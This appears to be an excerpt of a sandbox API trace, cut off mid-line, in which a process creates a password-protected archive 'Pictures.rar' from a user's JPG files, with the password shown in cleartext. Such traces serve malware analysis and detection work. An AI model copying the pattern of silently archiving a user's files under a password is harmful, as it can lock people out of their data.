[0065.444] ResetEvent (hEvent=0x344) returned 1 [0065.444] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.446] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.446] GetTickCount () returned 0x2643e [0065.446] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15677469922) returned 1 [0065.446] GetTickCount () returned 0x2643e [0065.446] GetTickCount () returned 0x2643e [0065.446] GetTickCount () returned 0x2643e [0065.446] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0065.446] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0065.446] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.446] ResetEvent (hEvent=0x33c) returned 1 [0065.446] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.447] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0065.447] ResetEvent (hEvent=0x33c) returned 1 [0065.447] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.448] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0065.448] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0065.448] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.448] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x11bcaf [0065.448] SetFilePointer (in: hFile=0x32c, lDistanceToMove=107, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x11bd1a [0065.448] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0065.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0065.449] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0065.449] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0065.449] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0065.449] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0xbf80, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0xbf80, lpOverlapped=0x0) returned 1 [0065.449] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0065.449] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.450] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1162415, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x11bcaf [0065.450] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x11bcaf [0065.450] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa20 [0065.450] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f7e0 [0065.450] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f7e0, Size=0x48) returned 0x28b084f9200 [0065.450] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0065.450] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f7e0 [0065.450] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f7e0, Size=0x48) returned 0x28b084f9bb0 [0065.450] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0065.450] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9200 | out: hHeap=0x28b08430000) returned 1 [0065.450] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fcc0 [0065.450] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0065.450] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fb70 | out: hHeap=0x28b08430000) returned 1 [0065.450] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fcc0 | out: hHeap=0x28b08430000) returned 1 [0065.450] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa20, Size=0x48) returned 0x28b084f9430 [0065.450] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9430, Size=0x7a) returned 0x28b084ed910 [0065.450] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ed913*, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ed913*, lpNumberOfBytesWritten=0xf00f8d8070*=0x6b, lpOverlapped=0x0) returned 1 [0065.450] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fd80 [0065.450] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x6b) returned 0x28b084fc150 [0065.450] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9bb0 | out: hHeap=0x28b08430000) returned 1 [0065.450] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed910 | out: hHeap=0x28b08430000) returned 1 [0065.450] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x127c9a [0065.450] CloseHandle (hObject=0x350) returned 1 [0065.450] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.450] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.450] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0065.450] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.451] FindFirstFileW (in: lpFileName="KmDsFaqbjMnNn4BN.jpg", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0ee130 [0065.451] FindClose (in: hFindFile=0x28b0c0ee130 | out: hFindFile=0x28b0c0ee130) returned 1 [0065.451] CreateFileW (lpFileName="KmDsFaqbjMnNn4BN.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\kmdsfaqbjmnnn4bn.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0065.451] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0065.451] GetTickCount () returned 0x2644e [0065.451] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0065.451] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0065.451] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0065.451] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0065.451] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="job -V_cE7uVrHssoWW.jpg") returned 23 [0065.451] SetWindowTextW (hWnd=0x102c6, lpString="KmDsFaqbjMnNn4BN.jpg") returned 1 [0065.452] GetTickCount () returned 0x2644e [0065.452] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0065.452] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0065.452] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0065.452] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0065.452] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2a, wMilliseconds=0x3b0)) [0065.452] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0065.452] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15678083973) returned 1 [0065.452] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x84cf, lpOverlapped=0x0) returned 1 [0065.452] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b71450f, nNumberOfBytesToRead=0xf7b31, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b71450f*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0065.452] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.453] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.453] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0065.453] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fd20 [0065.453] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fd20, Size=0x48) returned 0x28b084f98e0 [0065.453] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0065.453] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f660 [0065.453] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f660, Size=0x48) returned 0x28b084f9bb0 [0065.453] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0065.453] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f98e0 | out: hHeap=0x28b08430000) returned 1 [0065.453] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f7e0 [0065.453] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0065.453] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa80 | out: hHeap=0x28b08430000) returned 1 [0065.453] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f7e0 | out: hHeap=0x28b08430000) returned 1 [0065.453] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fb70, Size=0x48) returned 0x28b084f9c00 [0065.453] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9c00, Size=0x7a) returned 0x28b084ed910 [0065.453] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9bb0 | out: hHeap=0x28b08430000) returned 1 [0065.453] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed910 | out: hHeap=0x28b08430000) returned 1 [0065.453] GetTickCount () returned 0x2644e [0065.453] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15678173538) returned 1 [0065.453] GetTickCount () returned 0x2644e [0065.453] GetTickCount () returned 0x2644e [0065.453] GetTickCount () returned 0x2644e [0065.453] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.453] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.453] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.454] ResetEvent (hEvent=0x344) returned 1 [0065.454] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.454] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.455] ResetEvent (hEvent=0x344) returned 1 [0065.455] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.456] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.456] GetTickCount () returned 0x2644e [0065.456] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15678451820) returned 1 [0065.456] GetTickCount () returned 0x2644e [0065.456] GetTickCount () returned 0x2644e [0065.456] GetTickCount () returned 0x2644e [0065.456] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0065.456] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0065.456] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.456] ResetEvent (hEvent=0x33c) returned 1 [0065.456] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.457] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0065.457] ResetEvent (hEvent=0x33c) returned 1 [0065.457] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.457] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0065.457] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0065.457] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.458] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x127c9a [0065.458] SetFilePointer (in: hFile=0x32c, lDistanceToMove=104, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x127d02 [0065.458] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0065.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0065.458] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0065.458] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0065.458] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0065.458] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0x8570, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0x8570, lpOverlapped=0x0) returned 1 [0065.459] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0065.459] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.459] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1211546, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x127c9a [0065.459] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x127c9a [0065.459] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0065.459] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa20 [0065.459] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa20, Size=0x48) returned 0x28b084f9430 [0065.459] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0065.459] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fcf0 [0065.459] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fcf0, Size=0x48) returned 0x28b084f9480 [0065.459] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0065.459] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9430 | out: hHeap=0x28b08430000) returned 1 [0065.459] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc60 [0065.459] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa20 [0065.459] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa20 | out: hHeap=0x28b08430000) returned 1 [0065.459] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fc60 | out: hHeap=0x28b08430000) returned 1 [0065.459] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa80, Size=0x48) returned 0x28b084f9430 [0065.459] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9430, Size=0x7a) returned 0x28b084ecf80 [0065.459] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ecf83*, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ecf83*, lpNumberOfBytesWritten=0xf00f8d8070*=0x68, lpOverlapped=0x0) returned 1 [0065.459] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f660 [0065.459] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x68) returned 0x28b08460170 [0065.459] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9480 | out: hHeap=0x28b08430000) returned 1 [0065.459] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ecf80 | out: hHeap=0x28b08430000) returned 1 [0065.459] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x130272 [0065.459] CloseHandle (hObject=0x350) returned 1 [0065.459] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.459] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.459] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0065.459] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.460] FindFirstFileW (in: lpFileName="m3ksaTaVuXM_ADoCvA.jpg", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0ee4f0 [0065.460] FindClose (in: hFindFile=0x28b0c0ee4f0 | out: hFindFile=0x28b0c0ee4f0) returned 1 [0065.460] CreateFileW (lpFileName="m3ksaTaVuXM_ADoCvA.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\m3ksatavuxm_adocva.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0065.460] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0065.460] GetTickCount () returned 0x2644e [0065.460] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0065.460] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0065.460] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0065.460] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0065.460] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="KmDsFaqbjMnNn4BN.jpg") returned 20 [0065.460] SetWindowTextW (hWnd=0x102c6, lpString="m3ksaTaVuXM_ADoCvA.jpg") returned 1 [0065.461] GetTickCount () returned 0x2644e [0065.461] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0065.461] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0065.461] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0065.461] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0065.461] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2a, wMilliseconds=0x3b0)) [0065.461] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0065.461] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15678973106) returned 1 [0065.461] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x167e6, lpOverlapped=0x0) returned 1 [0065.461] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b722826, nNumberOfBytesToRead=0xe981a, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b722826*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0065.461] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.462] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.462] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa20 [0065.462] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0065.462] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa50, Size=0x48) returned 0x28b084f9020 [0065.462] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0065.462] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0065.462] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa50, Size=0x48) returned 0x28b084f9480 [0065.462] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0065.462] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9020 | out: hHeap=0x28b08430000) returned 1 [0065.462] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0065.462] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fbd0 [0065.462] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fbd0 | out: hHeap=0x28b08430000) returned 1 [0065.462] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fb70 | out: hHeap=0x28b08430000) returned 1 [0065.462] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa20, Size=0x48) returned 0x28b084f9bb0 [0065.462] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9bb0, Size=0x7a) returned 0x28b084ed0a0 [0065.462] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9480 | out: hHeap=0x28b08430000) returned 1 [0065.462] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed0a0 | out: hHeap=0x28b08430000) returned 1 [0065.462] GetTickCount () returned 0x2644e [0065.462] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15679074681) returned 1 [0065.462] GetTickCount () returned 0x2644e [0065.462] GetTickCount () returned 0x2644e [0065.462] GetTickCount () returned 0x2644e [0065.462] PeekMessageW (in: 